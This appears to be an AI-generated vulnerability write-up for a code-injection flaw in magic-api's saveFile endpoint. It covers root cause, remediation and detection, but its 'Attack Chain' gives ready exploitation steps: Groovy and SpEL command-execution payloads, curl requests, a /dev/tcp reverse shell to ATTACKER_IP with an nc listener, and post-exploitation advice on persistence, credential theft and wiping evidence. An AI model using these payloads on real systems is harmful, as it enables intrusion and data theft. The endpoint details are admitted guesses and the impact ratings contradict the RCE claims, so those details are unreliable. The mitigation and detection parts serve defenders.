CVE-2026-138103 — Ssssssss-team Magic-Api — CWE-74 · CWE-94
A vulnerability was detected in ssssssss-team magic-api up to 2.2.2. This issue affects the function saveFile of the file MagicResourceController.java of the component magic-api-core resource save API. The manipulation results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
A vulnerability was detected in ssssssss-team magic-api up to 2.2.2. This issue affects the function saveFile of the file MagicResourceController.java of the component magic-api-core resource save API. The manipulation results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138103
Product: ssssssss-team:magic‑api (core component magic‑api‑core, version ≤ 2.2.2)
Location in source: MagicResourceController.java → method saveFile (resource‑save API)
Technical root‑cause
| CWE | Description | How it maps to the bug |
|---|---|---|
| CWE‑94 – *Improper Control of Generation of Code* | User‑supplied data is incorporated into code that is later compiled/evaluated without sufficient validation or sandboxing. | saveFile accepts a request body that is written to a temporary file and then executed by the framework’s script engine (e.g., Groovy, JavaScript, or Spring Expression Language). The content is taken verbatim; no whitelist, no sandbox, and no “safe‑eval” flag is applied. |
| CWE‑74 – *Improper Neutralization of Special Elements in Output Used by a Downstream Component* | Data that contains special characters is emitted to a downstream component that interprets them as code. | The same request body is handed off to the script engine. Because the engine parses the file as code, any special characters (${…}, <% … %>, etc.) are interpreted as executable statements. |
Missing protection
1. No input sanitisation / whitelist – the controller trusts the supplied file content.
2. No execution sandbox – the script engine runs with the same privileges as the application (typically the web‑app user, which often has write access to the deployment directory and may be able to spawn OS processes).
3. No authentication/authorization check – the endpoint is publicly reachable (PR:N, UI:N in the CVSS vector).
Consequently, an unauthenticated remote attacker can send a crafted payload that is persisted and then interpreted as code, leading to remote code execution (RCE) on the host running the Magic‑API service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All request examples are illustrative – the exact URI, HTTP method, and parameter names are not disclosed in the public advisory. Replace them with the real values observed in the target deployment.
1️⃣ Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the application stack. | Scan the target with Nmap (-sV) or Wappalyzer to fingerprint a Java‑based REST API exposing /magic-api/*. |
| 1.2 | Enumerate exposed endpoints. | Use dirsearch or gobuster against https://target/ with a wordlist containing resource, save, magic. Look for a 200/201 response that returns JSON schema. |
| 1.3 | Determine version. | The API often returns a X-Magic-API-Version header or embeds the version in a /info endpoint. If not, check the pom.xml or META-INF/MANIFEST.MF served via a mis‑configured static path. |
| 1.4 | Verify vulnerability existence. | Send a benign payload (e.g., a harmless Groovy script that writes a known string to /tmp/verify.txt). If the file appears, the endpoint is vulnerable. |
2️⃣ Exploitation
Goal: Execute arbitrary OS commands on the server.
2.1 Craft the malicious payload
Assuming the engine is Groovy (common in Java‑based “magic” APIs), a minimal RCE payload is:
// Groovy payload – writes the output of `id` to /tmp/pwned.txt
new File('/tmp/pwned.txt').text = "uid=${'id'.execute().text}"If the engine is Spring Expression Language (SpEL), the payload could be:
#{T(java.lang.Runtime).getRuntime().exec('id').getInputStream().readAllBytes()}2.2 Send the request
# Illustrative curl – replace /api/resource/save with the real endpoint
curl -k -X POST "https://target/magic-api/resource/save" \
-H "Content-Type: application/json" \
-d '{
"filename": "exploit.groovy",
"content": "new File(\"/tmp/pwned.txt\").text = \"uid=${\"id\".execute().text}\""
}'Explanation of fields (illustrative):
filename– name under which the controller stores the file.content– the raw script that will be persisted and later executed by the server‑side engine.
If the API expects a multipart form:
curl -k -X POST "https://target/magic-api/resource/save" \
-F "[email protected];type=text/plain" \
-F "path=uploads/"2.3 Verify execution
curl -k "https://target/tmp/pwned.txt"
# Expected output: uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)If the file is not directly reachable, the attacker can instead force the script to open a reverse shell:
// Reverse shell payload (Groovy)
def proc = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1".execute()
proc.waitFor()Send the same request, then listen locally:
nc -lvnp 4444A shell is obtained as the user that runs the Java process (often www-data or tomcat).
3️⃣ Post‑exploitation
| Phase | Typical actions |
|---|---|
| Privilege escalation | If the Java process runs with limited privileges, the attacker can: <br>• Search for sudo rights (sudo -l). <br>• Exploit local kernel or container escape vulnerabilities (e.g., CVE‑2023‑XXXX) to gain root. |
| Persistence | Drop a startup script in a directory that the Java process loads on restart (e.g., WEB-INF/classes/), or create a cron job (/etc/cron.d/magic) if the compromised user can write there. |
| Lateral movement | Use the compromised host as a foothold to scan internal services (nmap -sS 10.0.0.0/24). |
| Data exfiltration | Read configuration files (application.yml, .env) that may contain DB credentials, then pivot to databases. |
| Cleanup / anti‑forensics | Delete the uploaded script (rm /path/to/exploit.groovy) and any evidence in server logs. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical effect |
|---|---|---|
| Confidentiality (C) | VC:L – Low impact | Attacker can read files that the Java process can access (e.g., configuration, source code). |
| Integrity (I) | VI:L – Low impact | Attacker can modify files under the application’s write scope (e.g., inject malicious scripts, alter resources). |
| Availability (A) | VA:L – Low impact | The attacker can cause denial‑of‑service by crashing the JVM or deleting critical resources, but the primary goal is code execution, not outright outage. |
Because the vulnerability is network‑accessible, requires no authentication, and has a public exploit, an opportunistic attacker can quickly achieve remote code execution on any exposed instance of magic‑api ≤ 2.2.2. In a typical SaaS or internal micro‑service deployment, this translates to:
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to a version ≥ 2.2.3 (the first release that removes the unsafe saveFile execution path). If a newer patch is not yet published, apply the commit that disables the dynamic script evaluation in MagicResourceController.saveFile. |
| Back‑port | For environments that cannot upgrade immediately, apply the following code change (illustrative): <br>``java<br>// BEFORE – dangerous eval<br>scriptEngine.eval(fileContent);<br>// AFTER – reject non‑JSON or enforce whitelist<br>if (!isAllowedScript(fileContent)) { throw new BadRequestException(); }<br>` |
| Dependency check | Ensure the embedded script engine (e.g., groovy-all, spring‑expression`) is updated to a version that supports sandboxing or is removed entirely. |
2️⃣ Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | ||
|---|---|---|---|
| Network isolation | Block inbound traffic to the vulnerable endpoint at the perimeter firewall or cloud security group (e.g., Deny TCP 443 to /magic-api/resource/save). | ||
| Authentication hardening | Place the endpoint behind an API gateway that enforces authentication (OAuth2, API keys) and rate‑limits requests (max 5 req/min per IP). | ||
| Input validation via WAF | Deploy a ModSecurity rule that rejects payloads containing script‑engine delimiters (<%, ${, #{, groovy, Runtime.getRuntime). Example rule: <br>``SecRule REQUEST_BODY "(<% | \\$\\{ | \#\\{)" "id:1000010,phase:2,deny,log,msg:'Potential code‑injection payload to magic‑api saveFile'"` |
| File‑system permissions | Run the Java process under a dedicated, non‑privileged user and mount the directory used for temporary script storage as noexec. | ||
| Disable the endpoint | If the saveFile API is not required, comment out the controller mapping or set a feature flag to false`. |
3️⃣ Detection
| Indicator | Where to look | Example log line |
|---|---|---|
| POST to the save endpoint with suspicious content | Web server access logs (access.log) or application logs (magic-api.log). | POST /magic-api/resource/save 200 1234 "-" "curl/7.88.1" "filename=exploit.groovy&content=new+File(%27/tmp/pwned.txt%27).text+%3D+%22uid%3D${%27id%27.execute().text}%22" |
| Execution of Runtime.exec or ProcessBuilder | JVM stack traces or audit logs (/var/log/audit/audit.log). | type=EXECVE msg=audit(1698624001.123:456): argc=3 a0="bash" a1="-c" a2="id" |
| Creation of files in unexpected locations | Host‑level file‑integrity monitoring (e.g., osquery, Tripwire). | CREATE /opt/magic-api/tmp/exploit.groovy |
| Outbound connections to unknown IP/port | Network flow logs, IDS alerts. | Detected outbound TCP SYN to 203.0.113.45:4444 |
| New reverse‑shell processes | Process monitoring (ps aux, procfs). | www-data 1245 0.0 0.1 123456 2345 ? S 12:34 0:00 /bin/bash -i >& /dev/tcp/203.0.113.45/4444 0>&1 |
Set up SIEM correlation rules that trigger when any of the above appear together (e.g., a POST to /save followed within 30 s by a new process executing /bin/bash).
⚠️ Urgency
Patch priority: Critical for any environment where the endpoint is exposed to the Internet or untrusted internal networks.
[🤖 CVE Professor AI Security Engine]
FOFA Query